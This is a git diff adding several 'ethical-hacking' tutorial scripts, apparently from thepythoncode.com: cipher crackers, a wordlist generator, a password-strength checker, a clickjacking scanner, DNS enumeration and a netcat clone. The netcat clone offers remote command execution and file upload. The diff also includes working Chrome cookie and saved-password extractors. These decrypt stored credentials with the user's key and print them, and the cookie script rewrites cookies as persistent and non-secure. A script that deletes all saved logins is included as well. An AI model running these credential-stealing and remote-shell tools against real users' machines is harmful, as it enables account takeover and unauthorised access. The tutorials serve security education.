b/ethical-hacking/bruteforce-wordlist-generator/wordlist_gen.py @@ -0,0 +1,36 @@ +# Import the argparse module for handling command line arguments. +# Import the itertools module for generating combinations. +import argparse, itertools + + +# Define a function to generate a wordlist based on given parameters. +def generate_wordlist(characters, min_length, max_length, output_file): + # Open the output file in write mode. + with open(output_file, 'w') as file: + # Iterate over the range of word lengths from min_length to max_length. + for length in range(min_length, max_length + 1): + # Generate all possible combinations of characters with the given length. + for combination in itertools.product(characters, repeat=length): + # Join the characters to form a word and write it to the file + word = ''.join(combination) + file.write(word + '\n') + + +# Create an ArgumentParser object for handling command line arguments. +parser = argparse.ArgumentParser(description="Generate a custom wordlist similar to crunch.") + +# Define command line arguments. +parser.add_argument("-c", "--characters", type=str, default="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", + help="Set of characters to include in the wordlist") +parser.add_argument("-min", "--min_length", type=int, default=4, help="Minimum length of the words") +parser.add_argument("-max", "--max_length", type=int, default=6, help="Maximum length of the words") +parser.add_argument("-o", "--output_file", type=str, default="custom_wordlist.txt", help="Output file name") + +# Parse the command line arguments. +args = parser.parse_args() + +# Call the generate_wordlist function with the provided arguments. +generate_wordlist(args.characters, args.min_length, args.max_length, args.output_file) + +# Print a message indicating the wordlist has been generated and saved. +print(f"[+] Wordlist generated and saved to {args.output_file}") diff --git a/ethical-hacking/caesar-cipher/README.md b/ethical-hacking/caesar-cipher/README.md new file mode 100644 index 00000000..9c91133f --- /dev/null +++ b/ethical-hacking/caesar-cipher/README.md @@ -0,0 +1,2 @@ +# [How to Implement the Caesar Cipher in Python](https://thepythoncode.com/article/implement-caesar-cipher-in-python) +# [How to Crack the Caesar Cipher in Python](https://thepythoncode.com/article/how-to-crack-caesar-cipher-in-python) \ No newline at end of file diff --git a/ethical-hacking/caesar-cipher/caeser_cipher.py b/ethical-hacking/caesar-cipher/caeser_cipher.py new file mode 100644 index 00000000..2bffbc69 --- /dev/null +++ b/ethical-hacking/caesar-cipher/caeser_cipher.py @@ -0,0 +1,46 @@ +import sys # The sys module for system-related operations. +from colorama import Fore, init # Import the colorama for colored text + +init() # Initialize the colorama library for colored text. + + +def implement_caesar_cipher(message, key, decrypt=False): + # Initialize an empty string to store the result. + result = "" + # Iterate through each character in the user's input message. + for character in message: + # Check if the character is an alphabet letter. + if character.isalpha(): + # Determine the shift amount based. i.e the amount of times to be shifted e.g 2,3,4.... + shift = key if not decrypt else -key + # Check if the character is a lowercase letter. + if character.islower(): + # Apply Caesar cipher transformation for lowercase letters. + result += chr(((ord(character) - ord('a') + shift) % 26) + ord('a')) + else: + # Apply Caesar cipher transformation for uppercase letters. + result += chr(((ord(character) - ord('A') + shift) % 26) + ord('A')) + else: + # Preserve non-alphabet characters as they are. + result += character + return result # Return the encrypted or decrypted result. + + +# Prompt the user to enter the text to be encrypted +text_to_encrypt = input(f"{Fore.GREEN}[?] Please Enter your text/message: ") +# Prompt the user to specify the shift length (the key). +key = int(input(f"{Fore.GREEN}[?] Please specify the shift length: ")) + + +# Check if the specified key is within a valid range (0 to 25). +if key > 25 or key < 0: + # Display an error message if the key is out of range. + print(f"{Fore.RED}[!] Your shift length should be between 0 and 25 ") + sys.exit() # Exit the program if the key is invalid. + +# Encrypt the user's input using the specified key. +encrypted_text = implement_caesar_cipher(text_to_encrypt, key) + +# Display the encrypted text. +print(f"{Fore.GREEN}[+] {text_to_encrypt} {Fore.MAGENTA}has been encrypted as {Fore.RED}{encrypted_text}") + diff --git a/ethical-hacking/caesar-cipher/crack_ceaser_cipher.py b/ethical-hacking/caesar-cipher/crack_ceaser_cipher.py new file mode 100644 index 00000000..6d7f0d9d --- /dev/null +++ b/ethical-hacking/caesar-cipher/crack_ceaser_cipher.py @@ -0,0 +1,55 @@ +# Import colorama for colorful text. +from colorama import Fore, init + +init() + + +# Define a function for Caesar cipher encryption. +def implement_caesar_cipher(text, key, decrypt=False): + # Initialize an empty string to store the result. + result = "" + + # Iterate through each character in the input text. + for char in text: + # Check if the character is alphabetical. + if char.isalpha(): + # Determine the shift value using the provided key (or its negation for decryption). + shift = key if not decrypt else -key + + # Check if the character is lowercase + if char.islower(): + # Apply the Caesar cipher encryption/decryption formula for lowercase letters. + result += chr(((ord(char) - ord('a') + shift) % 26) + ord('a')) + else: + # Apply the Caesar cipher encryption/decryption formula for uppercase letters. + result += chr(((ord(char) - ord('A') + shift) % 26) + ord('A')) + else: + # If the character is not alphabetical, keep it as is e.g. numbers, punctuation + result += char + + # Return the result, which is the encrypted or decrypted text + return result + + +# Define a function for cracking the Caesar cipher. +def crack_caesar_cipher(ciphertext): + # Iterate through all possible keys (0 to 25) as there 26 alphabets. + for key in range(26): + # Call the caesar_cipher function with the current key to decrypt the text. + decrypted_text = implement_caesar_cipher(ciphertext, key, decrypt=True) + + # Print the result, showing the decrypted text for each key + print(f"{Fore.RED}Key {key}: {decrypted_text}") + + +# Initiate a continuous loop so the program keeps running. +while True: + # Accept user input. + encrypted_text = input(f"{Fore.GREEN}[?] Please Enter the text/message to decrypt: ") + # Check if user does not specify anything. + if not encrypted_text: + print(f"{Fore.RED}[-] Please specify the text to decrypt.") + else: + crack_caesar_cipher(encrypted_text) + + diff --git a/ethical-hacking/caesar-cipher/requirements.txt b/ethical-hacking/caesar-cipher/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/caesar-cipher/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/checking-password-strength/README.md b/ethical-hacking/checking-password-strength/README.md new file mode 100644 index 00000000..a0677af7 --- /dev/null +++ b/ethical-hacking/checking-password-strength/README.md @@ -0,0 +1 @@ +# [How to Check Password Strength with Python](https://thepythoncode.com/article/test-password-strength-with-python) \ No newline at end of file diff --git a/ethical-hacking/checking-password-strength/check_password_strength.py b/ethical-hacking/checking-password-strength/check_password_strength.py new file mode 100644 index 00000000..cf897997 --- /dev/null +++ b/ethical-hacking/checking-password-strength/check_password_strength.py @@ -0,0 +1,37 @@ +from zxcvbn import zxcvbn +import pprint, getpass, sys + + +def test_single_password(): + password = getpass.getpass("[?] Enter your password: ") + result = zxcvbn(password) + print(f"Value: {result['password']}") + print(f"Password Score: {result['score']}/4") + print(f"Crack Time: {result['crack_times_display']['offline_slow_hashing_1e4_per_second']}") + print(f"Feedback: {result['feedback']['suggestions']}") + #pprint.pp(result) + + +def test_multiple_passwords(password_file): + try: + with open(password_file, 'r') as passwords: + for password in passwords: + result = zxcvbn(password.strip('\n')) + print('\n[+] ######################')# for readability + print(f"Value: {result['password']}") + print(f"Password Score: {result['score']}/4") + print(f"Crack Time: {result['crack_times_display']['offline_slow_hashing_1e4_per_second']}") + print(f"Feedback: {result['feedback']['suggestions']}") + #pprint.pp(result) + + except Exception: + print('[!] Please make sure to specify an accessible file containing passwords.') + + +if len(sys.argv) == 2: + test_multiple_passwords(sys.argv[1]) +elif len(sys.argv) == 1: + test_single_password() +else: + print('Usage: python test_password_strength.py (for a file containing passwords) or \ + \npython test_password_strength.py (for a single password.)') \ No newline at end of file diff --git a/ethical-hacking/checking-password-strength/passwords.txt b/ethical-hacking/checking-password-strength/passwords.txt new file mode 100644 index 00000000..78b151ad --- /dev/null +++ b/ethical-hacking/checking-password-strength/passwords.txt @@ -0,0 +1,4 @@ +password +1234567 +abc123cba159 +Sioplabxtre_9lTGCE diff --git a/ethical-hacking/checking-password-strength/requirements.txt b/ethical-hacking/checking-password-strength/requirements.txt new file mode 100644 index 00000000..7f766a99 --- /dev/null +++ b/ethical-hacking/checking-password-strength/requirements.txt @@ -0,0 +1 @@ +zxcvbn \ No newline at end of file diff --git a/ethical-hacking/chrome-cookie-extractor/README.md b/ethical-hacking/chrome-cookie-extractor/README.md new file mode 100644 index 00000000..d2c4fe1d --- /dev/null +++ b/ethical-hacking/chrome-cookie-extractor/README.md @@ -0,0 +1,7 @@ +# [How to Extract Chrome Cookies in Python](https://www.thepythoncode.com/article/extract-chrome-cookies-python) +To run this: +- `pip3 install -r requirements.txt` +- Simply run the script: +``` +python chrome_cookie_extractor.py +``` \ No newline at end of file diff --git a/ethical-hacking/chrome-cookie-extractor/chrome_cookie_extractor.py b/ethical-hacking/chrome-cookie-extractor/chrome_cookie_extractor.py new file mode 100644 index 00000000..7dec1680 --- /dev/null +++ b/ethical-hacking/chrome-cookie-extractor/chrome_cookie_extractor.py @@ -0,0 +1,111 @@ +import os +import json +import base64 +import sqlite3 +import shutil +from datetime import datetime, timedelta +import win32crypt # pip install pypiwin32 +from Crypto.Cipher import AES # pip install pycryptodome + +def get_chrome_datetime(chromedate): + """Return a `datetime.datetime` object from a chrome format datetime + Since `chromedate` is formatted as the number of microseconds since January, 1601""" + if chromedate != 86400000000 and chromedate: + try: + return datetime(1601, 1, 1) + timedelta(microseconds=chromedate) + except Exception as e: + print(f"Error: {e}, chromedate: {chromedate}") + return chromedate + else: + return "" + + +def get_encryption_key(): + local_state_path = os.path.join(os.environ["USERPROFILE"], + "AppData", "Local", "Google", "Chrome", + "User Data", "Local State") + with open(local_state_path, "r", encoding="utf-8") as f: + local_state = f.read() + local_state = json.loads(local_state) + + # decode the encryption key from Base64 + key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) + # remove 'DPAPI' str + key = key[5:] + # return decrypted key that was originally encrypted + # using a session key derived from current user's logon credentials + # doc: http://timgolden.me.uk/pywin32-docs/win32crypt.html + return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] + + +def decrypt_data(data, key): + try: + # get the initialization vector + iv = data[3:15] + data = data[15:] + # generate cipher + cipher = AES.new(key, AES.MODE_GCM, iv) + # decrypt password + return cipher.decrypt(data)[:-16].decode() + except: + try: + return str(win32crypt.CryptUnprotectData(data, None, None, None, 0)[1]) + except: + # not supported + return "" + + +def main(): + # local sqlite Chrome cookie database path + db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", + "Google", "Chrome", "User Data", "Default", "Network", "Cookies") + # copy the file to current directory + # as the database will be locked if chrome is currently open + filename = "Cookies.db" + if not os.path.isfile(filename): + # copy file when does not exist in the current directory + shutil.copyfile(db_path, filename) + # connect to the database + db = sqlite3.connect(filename) + # ignore decoding errors + db.text_factory = lambda b: b.decode(errors="ignore") + cursor = db.cursor() + # get the cookies from `cookies` table + cursor.execute(""" + SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value + FROM cookies""") + # you can also search by domain, e.g thepythoncode.com + # cursor.execute(""" + # SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value + # FROM cookies + # WHERE host_key like '%thepythoncode.com%'""") + # get the AES key + key = get_encryption_key() + for host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value in cursor.fetchall(): + if not value: + decrypted_value = decrypt_data(encrypted_value, key) + else: + # already decrypted + decrypted_value = value + print(f""" + Host: {host_key} + Cookie name: {name} + Cookie value (decrypted): {decrypted_value} + Creation datetime (UTC): {get_chrome_datetime(creation_utc)} + Last access datetime (UTC): {get_chrome_datetime(last_access_utc)} + Expires datetime (UTC): {get_chrome_datetime(expires_utc)} + ===============================================================""") + # update the cookies table with the decrypted value + # and make session cookie persistent + cursor.execute(""" + UPDATE cookies SET value = ?, has_expires = 1, expires_utc = 99999999999999999, is_persistent = 1, is_secure = 0 + WHERE host_key = ? + AND name = ?""", (decrypted_value, host_key, name)) + # commit changes + db.commit() + # close connection + db.close() + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/ethical-hacking/chrome-cookie-extractor/requirements.txt b/ethical-hacking/chrome-cookie-extractor/requirements.txt new file mode 100644 index 00000000..1d26a0b0 --- /dev/null +++ b/ethical-hacking/chrome-cookie-extractor/requirements.txt @@ -0,0 +1,2 @@ +pypiwin32 +pycryptodome \ No newline at end of file diff --git a/ethical-hacking/chrome-password-extractor/README.md b/ethical-hacking/chrome-password-extractor/README.md new file mode 100644 index 00000000..571e739b --- /dev/null +++ b/ethical-hacking/chrome-password-extractor/README.md @@ -0,0 +1,11 @@ +# [How to Extract Chrome Passwords in Python](https://www.thepythoncode.com/article/extract-chrome-passwords-python) +To run this: +- `pip3 install -r requirements.txt` +- To extract Chrome passwords on Windows, run: + ``` + python chromepass.py + ``` +- To delete saved passwords on Chrome: + ``` + python delete_chromepass.py + ``` \ No newline at end of file diff --git a/ethical-hacking/chrome-password-extractor/chromepass.py b/ethical-hacking/chrome-password-extractor/chromepass.py new file mode 100644 index 00000000..14e05711 --- /dev/null +++ b/ethical-hacking/chrome-password-extractor/chromepass.py @@ -0,0 +1,96 @@ +import os +import json +import base64 +import sqlite3 +import win32crypt +from Crypto.Cipher import AES +import shutil +from datetime import timezone, datetime, timedelta + +def get_chrome_datetime(chromedate): + """Return a `datetime.datetime` object from a chrome format datetime + Since `chromedate` is formatted as the number of microseconds since January, 1601""" + return datetime(1601, 1, 1) + timedelta(microseconds=chromedate) + +def get_encryption_key(): + local_state_path = os.path.join(os.environ["USERPROFILE"], + "AppData", "Local", "Google", "Chrome", + "User Data", "Local State") + with open(local_state_path, "r", encoding="utf-8") as f: + local_state = f.read() + local_state = json.loads(local_state) + + # decode the encryption key from Base64 + key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) + # remove DPAPI str + key = key[5:] + # return decrypted key that was originally encrypted + # using a session key derived from current user's logon credentials + # doc: http://timgolden.me.uk/pywin32-docs/win32crypt.html + return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] + + +def decrypt_password(password, key): + try: + # get the initialization vector + iv = password[3:15] + password = password[15:] + # generate cipher + cipher = AES.new(key, AES.MODE_GCM, iv) + # decrypt password + return cipher.decrypt(password)[:-16].decode() + except: + try: + return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1]) + except: + # not supported + return "" + + +def main(): + # get the AES key + key = get_encryption_key() + # local sqlite Chrome database path + db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", + "Google", "Chrome", "User Data", "default", "Login Data") + # copy the file to another location + # as the database will be locked if chrome is currently running + filename = "ChromeData.db" + shutil.copyfile(db_path, filename) + # connect to the database + db = sqlite3.connect(filename) + cursor = db.cursor() + # `logins` table has the data we need + cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created") + # iterate over all rows + for row in cursor.fetchall(): + origin_url = row[0] + action_url = row[1] + username = row[2] + password = decrypt_password(row[3], key) + date_created = row[4] + date_last_used = row[5] + if username or password: + print(f"Origin URL: {origin_url}") + print(f"Action URL: {action_url}") + print(f"Username: {username}") + print(f"Password: {password}") + else: + continue + if date_created != 86400000000 and date_created: + print(f"Creation date: {str(get_chrome_datetime(date_created))}") + if date_last_used != 86400000000 and date_last_used: + print(f"Last Used: {str(get_chrome_datetime(date_last_used))}") + print("="*50) + + cursor.close() + db.close() + try: + # try to remove the copied db file + os.remove(filename) + except: + pass + + +if __name__ == "__main__": + main() diff --git a/ethical-hacking/chrome-password-extractor/delete_chromepass.py b/ethical-hacking/chrome-password-extractor/delete_chromepass.py new file mode 100644 index 00000000..c0916bbd --- /dev/null +++ b/ethical-hacking/chrome-password-extractor/delete_chromepass.py @@ -0,0 +1,14 @@ +import sqlite3 +import os + +db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", + "Google", "Chrome", "User Data", "default", "Login Data") + +db = sqlite3.connect(db_path) +cursor = db.cursor() +# `logins` table has the data we need +cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created") +n_logins = len(cursor.fetchall()) +print(f"Deleting a total of {n_logins} logins...") +cursor.execute("delete from logins") +cursor.connection.commit() \ No newline at end of file diff --git a/ethical-hacking/chrome-password-extractor/requirements.txt b/ethical-hacking/chrome-password-extractor/requirements.txt new file mode 100644 index 00000000..1d26a0b0 --- /dev/null +++ b/ethical-hacking/chrome-password-extractor/requirements.txt @@ -0,0 +1,2 @@ +pypiwin32 +pycryptodome \ No newline at end of file diff --git a/ethical-hacking/clickjacking-scanner/README.md b/ethical-hacking/clickjacking-scanner/README.md new file mode 100644 index 00000000..11c88d59 --- /dev/null +++ b/ethical-hacking/clickjacking-scanner/README.md @@ -0,0 +1 @@ +# [How to Make a Clickjacking Vulnerability Scanner in Python](https://thepythoncode.com/article/make-a-clickjacking-vulnerability-scanner-with-python) \ No newline at end of file diff --git a/ethical-hacking/clickjacking-scanner/clickjacking_scanner.py b/ethical-hacking/clickjacking-scanner/clickjacking_scanner.py new file mode 100644 index 00000000..c8933bac --- /dev/null +++ b/ethical-hacking/clickjacking-scanner/clickjacking_scanner.py @@ -0,0 +1,55 @@ +import requests, argparse + + +# Function to check if a website is vulnerable to clickjacking. +def check_clickjacking(url): + try: + # Add https:// schema if not present in the URL. + if not url.startswith('http://') and not url.startswith('https://'): + url = 'https://' + url + + # Send a GET request to the URL. + response = requests.get(url) + headers = response.headers + + # Check for X-Frame-Options header. + if 'X-Frame-Options' not in headers: + return True + + # Get the value of X-Frame-Options and check it.. + x_frame_options = headers['X-Frame-Options'].lower() + if x_frame_options != 'deny' and x_frame_options != 'sameorigin': + return True + + return False + except requests.exceptions.RequestException as e: + print(f"An error occurred while checking {url} - {e}") + return False + +# Main function to parse arguments and check the URL. +def main(): + parser = argparse.ArgumentParser(description='Clickjacking Vulnerability Scanner') + parser.add_argument('url', type=str, help='The URL of the website to check') + parser.add_argument('-l', '--log', action='https://github.com/store_true', help='Print out the response headers for analysis') + args = parser.parse_args() + + url = args.url + is_vulnerable = check_clickjacking(url) + + if is_vulnerable: + print(f"[+] {url} may be vulnerable to clickjacking.") + else: + print(f"[-] {url} is not vulnerable to clickjacking.") + + if args.log: + # Add https:// schema if not present in the URL for response printing. + if not url.startswith('http://') and not url.startswith('https://'): + url = 'https://' + url + + print("\nResponse Headers:") + response = requests.get(url) + for header, value in response.headers.items(): + print(f"{header}: {value}") + +if __name__ == '__main__': + main() diff --git a/ethical-hacking/clickjacking-scanner/requirements .txt b/ethical-hacking/clickjacking-scanner/requirements .txt new file mode 100644 index 00000000..663bd1f6 --- /dev/null +++ b/ethical-hacking/clickjacking-scanner/requirements .txt @@ -0,0 +1 @@ +requests \ No newline at end of file diff --git a/ethical-hacking/crack-affine-cipher/README.md b/ethical-hacking/crack-affine-cipher/README.md new file mode 100644 index 00000000..bd70cb4b --- /dev/null +++ b/ethical-hacking/crack-affine-cipher/README.md @@ -0,0 +1 @@ +# [How to Crack the Affine Cipher in Python](https://thepythoncode.com/article/how-to-crack-the-affine-cipher-in-python) \ No newline at end of file diff --git a/ethical-hacking/crack-affine-cipher/affine_cipher_decrypt.py b/ethical-hacking/crack-affine-cipher/affine_cipher_decrypt.py new file mode 100644 index 00000000..252fde0a --- /dev/null +++ b/ethical-hacking/crack-affine-cipher/affine_cipher_decrypt.py @@ -0,0 +1,92 @@ +# Import the needed libraries. +import string +from colorama import Fore, init + +# Initialise colorama. +init() + + +# Function to get Euclidean Algorithm. +def extended_gcd(a, b): + """ + Extended Euclidean Algorithm to find the greatest common divisor + and coefficients x, y such that ax + by = gcd(a, b). + """ + if a == 0: + return (b, 0, 1) + else: + g, x, y = extended_gcd(b % a, a) + return (g, y - (b // a) * x, x) + + +# Function to get the modular Inverse +def modular_inverse(a, m): + """ + Compute the modular multiplicative inverse of a modulo m. + Raises an exception if the modular inverse does not exist. + """ + g, x, y = extended_gcd(a, m) + if g != 1: + raise Exception('Modular inverse does not exist') + else: + return x % m + + +# Function to decrypt our message. +def affine_decrypt(ciphertext, a, b): + """ + Decrypt a message encrypted with the Affine Cipher using + the given key components a and b. + """ + alphabet = string.ascii_uppercase + m = len(alphabet) + plaintext = '' + + # Compute the modular multiplicative inverse of a. + a_inv = modular_inverse(a, m) + + # Iterate through each character in the ciphertext. + for char in ciphertext: + # Check if the character is in the alphabet + if char in alphabet: + # If it's an alphabet letter, decrypt it. + # Find the index of the character in the alphabet. + c = alphabet.index(char) + # Apply the decryption formula: a_inv * (c - b) mod m. + p = (a_inv * (c - b)) % m + # Append the decrypted character to the plaintext. + plaintext += alphabet[p] + else: + # If the character is not in the alphabet, keep it unchanged. + plaintext += char + + # Return the decrypted plaintext. + return plaintext + + +# Function to peform brute force attack. +def affine_brute_force(ciphertext): + """ + Brute-force attack to find possible keys for an Affine Cipher + and print potential decryptions for manual inspection. + """ + alphabet = string.ascii_uppercase + m = len(alphabet) + + # Iterate through possible values for a. + for a in range(1, m): + # Ensure a and m are coprime. + if extended_gcd(a, m)[0] == 1: + # Iterate through possible values for b. + for b in range(0, m): + # Decrypt using the current key. + decrypted_text = affine_decrypt(ciphertext, a, b) + + # Print potential decryption for manual inspection. + print(f"Key (a={a}, b={b}): {decrypted_text}") + + +ciphertext = input(f"{Fore.GREEN}[?] Enter Message to decrypt: ") + +# Perform a brute-force attack to find potential decrypted message. +affine_brute_force(ciphertext) diff --git a/ethical-hacking/crack-affine-cipher/requirements.txt b/ethical-hacking/crack-affine-cipher/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/crack-affine-cipher/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/custom-netcat/README.md b/ethical-hacking/custom-netcat/README.md new file mode 100644 index 00000000..81366e68 --- /dev/null +++ b/ethical-hacking/custom-netcat/README.md @@ -0,0 +1 @@ +# [How to Build a Custom NetCat with Python](https://thepythoncode.com/article/create-a-custom-netcat-in-python) \ No newline at end of file diff --git a/ethical-hacking/custom-netcat/netcat.py b/ethical-hacking/custom-netcat/netcat.py new file mode 100644 index 00000000..73313932 --- /dev/null +++ b/ethical-hacking/custom-netcat/netcat.py @@ -0,0 +1,322 @@ +import sys, socket, getopt, threading, subprocess, signal, time + + +class NetCat: + def __init__(self, target, port): + self.listen = False + self.command = False + self.upload = False + self.execute = "" + self.target = target + self.upload_destination = "" + self.port = port + self.running = True + self.threads = [] + + def signal_handler(self, signum, frame): + print('\n[*] User requested an interrupt. Exiting gracefully.') + self.running = False + time.sleep(0.5) + sys.exit(0) + + def run_command(self, cmd): + cmd = cmd.rstrip() + try: + output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True) + except subprocess.CalledProcessError as e: + output = e.output + except Exception as e: + output = str(e).encode() + return output + + def handle_client(self, client_socket): + try: + if len(self.upload_destination): + file_buffer = "" + while self.running: + try: + data = client_socket.recv(1024) + if not data: + break + else: + file_buffer += data.decode('utf-8') + except (ConnectionResetError, BrokenPipeError) as e: + print(f"[!] Connection error during upload: {str(e)}") + break + except Exception as e: + print(f"[!] Error receiving data: {str(e)}") + break + + try: + with open(self.upload_destination, "wb") as file_descriptor: + file_descriptor.write(file_buffer.encode('utf-8')) + try: + client_socket.send( + f"Successfully saved file to {self.upload_destination}\r\n".encode('utf-8')) + except (BrokenPipeError, ConnectionResetError): + print("[!] Couldn't send success message - connection lost") + except OSError as e: + print(f"[!] File operation failed: {str(e)}") + try: + client_socket.send( + f"Failed to save file to {self.upload_destination}\r\n".encode('utf-8')) + except (BrokenPipeError, ConnectionResetError): + print("[!] Couldn't send error message - connection lost") + + if len(self.execute) and self.running: + try: + output = self.run_command(self.execute) + client_socket.send(output) + except (BrokenPipeError, ConnectionResetError): + print("[!] Couldn't send command output - connection lost") + except Exception as e: + print(f"[!] Error executing command: {str(e)}") + + if self.command: + while self.running: + try: + # Send prompt + client_socket.send(b" ") + + # Receive command + cmd_buffer = b'' + while b"\n" not in cmd_buffer and self.running: + try: + data = client_socket.recv(1024) + if not data: + raise ConnectionResetError("No data received") + cmd_buffer += data + except socket.timeout: + continue + except (ConnectionResetError, BrokenPipeError): + raise + + if not self.running: + break + + # Execute command and send response + try: + cmd = cmd_buffer.decode().strip() + if cmd.lower() in ['exit', 'quit']: + print("[*] User requested exit") + break + + output = self.run_command(cmd) + if output: + client_socket.send(output + b"\n") + else: + client_socket.send(b"Command completed without output\n") + + except (BrokenPipeError, ConnectionResetError): + print("[!] Connection lost while sending response") + break + except Exception as e: + error_msg = f"Error executing command: {str(e)}\n" + try: + client_socket.send(error_msg.encode()) + except: + break + + except ConnectionResetError: + print("[!] Connection reset by peer") + break + except BrokenPipeError: + print("[!] Broken pipe - connection lost") + break + except Exception as e: + print(f"[!] Error in command loop: {str(e)}") + break + + except Exception as e: + print(f"[!] Exception in handle_client: {str(e)}") + finally: + try: + client_socket.close() + print("[*] Client connection closed") + except: + pass + + def server_loop(self): + server = None + try: + if not len(self.target): + self.target = "0.0.0.0" + + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + server.bind((self.target, self.port)) + server.listen(5) + + print(f"[*] Listening on {self.target}:{self.port}") + + server.settimeout(1.0) + + while self.running: + try: + client_socket, addr = server.accept() + print(f"[*] Accepted connection from {addr[0]}:{addr[1]}") + + client_thread = threading.Thread( + target=self.handle_client, + args=(client_socket,) + ) + client_thread.daemon = True + self.threads.append(client_thread) + client_thread.start() + + except socket.timeout: + continue + except Exception as e: + if self.running: + print(f"[!] Exception in server_loop: {str(e)}") + break + + except Exception as e: + print(f"[!] Failed to create server: {str(e)}") + finally: + if server: + try: + server.close() + print("[*] Server socket closed") + except: + pass + + for thread in self.threads: + try: + thread.join(timeout=1.0) + except threading.ThreadError: + pass + + def client_sender(self, buffer): + client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + try: + print(f"[*] Connecting to {self.target}:{self.port}") + client.connect((self.target, self.port)) + + if len(buffer): + try: + client.send(buffer.encode('utf-8')) + except (BrokenPipeError, ConnectionResetError): + print("[!] Failed to send initial buffer - connection lost") + return + + while self.running: + try: + # Receive response from server + recv_len = 1 + response = b'' + + while recv_len: + data = client.recv(4096) + recv_len = len(data) + response += data + + if recv_len < 4096: + break + + if response: + print(response.decode('utf-8'), end='') + + # Get next command + buffer = input() + if not self.running: + break + + if buffer.lower() in ['exit', 'quit']: + break + + buffer += "\n" + try: + client.send(buffer.encode('utf-8')) + except (BrokenPipeError, ConnectionResetError): + print("\n[!] Failed to send data - connection lost") + break + + except ConnectionResetError: + print("\n[!] Connection reset by peer") + break + except BrokenPipeError: + print("\n[!] Broken pipe - connection lost") + break + except EOFError: + print("\n[!] EOF detected - exiting") + break + except Exception as e: + print(f"\n[!] Exception in client loop: {str(e)}") + break + + except socket.error as exc: + print("\n[!] Exception! Exiting.") + print(f"[!] Caught exception socket.error: {exc}") + finally: + print("[*] Closing connection") + try: + client.close() + except: + pass + +def main(): + if len(sys.argv[1:]) == 0: + print("Custom Netcat") + print("\nSYNOPSIS") + print(" netcat.py [OPTIONS...]\n") + print("OPTIONS") + print(" -l, --listen Start server in listening mode on specified host:port") + print(" -e, --execute= Execute specified file upon connection establishment") + print(" -c, --command Initialize an interactive command shell session") + print(" -u, --upload= Upload file to specified destination path on connection") + print(" -t, --target= Specify target hostname or IP address") + print(" -p, --port= Specify target port number") + print() + sys.exit(0) + + try: + opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:", + ["help", "listen", "execute", "target", + "port", "command", "upload"]) + + for o, a in opts: + if o in ("-h", "--help"): + main() + elif o in ("-l", "--listen"): + toolkit.listen = True + elif o in ("-e", "--execute"): + toolkit.execute = a + elif o in ("-c", "--command"): + toolkit.command = True + elif o in ("-u", "--upload"): + toolkit.upload_destination = a + elif o in ("-t", "--target"): + toolkit.target = a + elif o in ("-p", "--port"): + toolkit.port = int(a) + else: + assert False, "Unhandled Option" + + except getopt.GetoptError as err: + print(str(err)) + main() + + signal.signal(signal.SIGINT, toolkit.signal_handler) + signal.signal(signal.SIGTERM, toolkit.signal_handler) + + try: + if not toolkit.listen and len(toolkit.target) and toolkit.port > 0: + buffer = sys.stdin.read() + toolkit.client_sender(buffer) + + if toolkit.listen: + toolkit.server_loop() + except KeyboardInterrupt: + print("\n[*] User requested shutdown") + except Exception as e: + print(f"\n[!] Unexpected error: {str(e)}") + finally: + toolkit.running = False + print("[*] Shutdown complete") + sys.exit(0) + +if __name__ == "__main__": + toolkit = NetCat("", 0) + main() \ No newline at end of file diff --git a/ethical-hacking/dns-enumeration/README.md b/ethical-hacking/dns-enumeration/README.md new file mode 100644 index 00000000..d2b17a78 --- /dev/null +++ b/ethical-hacking/dns-enumeration/README.md @@ -0,0 +1 @@ +# [How to Perform DNS Enumeration in Python](https://www.thepythoncode.com/article/dns-enumeration-with-python) \ No newline at end of file diff --git a/ethical-hacking/dns-enumeration/dns_enumeration.py b/ethical-hacking/dns-enumeration/dns_enumeration.py new file mode 100644 index 00000000..8e8342f2 --- /dev/null +++ b/ethical-hacking/dns-enumeration/dns_enumeration.py @@ -0,0 +1,17 @@ +import dns.resolver + +# Set the target domain and record type +target_domain = "thepythoncode.com" +record_types = ["A", "AAAA", "CNAME", "MX", "NS", "SOA", "TXT"] +# Create a DNS resolver +resolver = dns.resolver.Resolver() +for record_type in record_types: + # Perform DNS lookup for the specified domain and record type + try: + answers = resolver.resolve(target_domain, record_type) + except dns.resolver.NoAnswer: + continue + # Print the answers + print(f"{record_type} records for {target_domain}:") + for rdata in answers: + print(f" {rdata}") \ No newline at end of file diff --git a/ethical-hacking/dns-enumeration/requirements.txt b/ethical-hacking/dns-enumeration/requirements.txt new file mode 100644 index 00000000..c0ba5c3a --- /dev/null +++ b/ethical-hacking/dns-enumeration/requirements.txt @@ -0,0 +1 @@ +dnspython \ No newline at end of file diff --git a/ethical-hacking/docx-metadata-extractor/README.md b/ethical-hacking/docx-metadata-extractor/README.md new file mode 100644 index 00000000..fc8e91dc --- /dev/null +++ b/ethical-hacking/docx-metadata-extractor/README.md @@ -0,0 +1 @@ +# [How to Extract Metadata from Docx Files in Python](https://thepythoncode.com/article/docx-metadata-extractor-in-python) \ No newline at 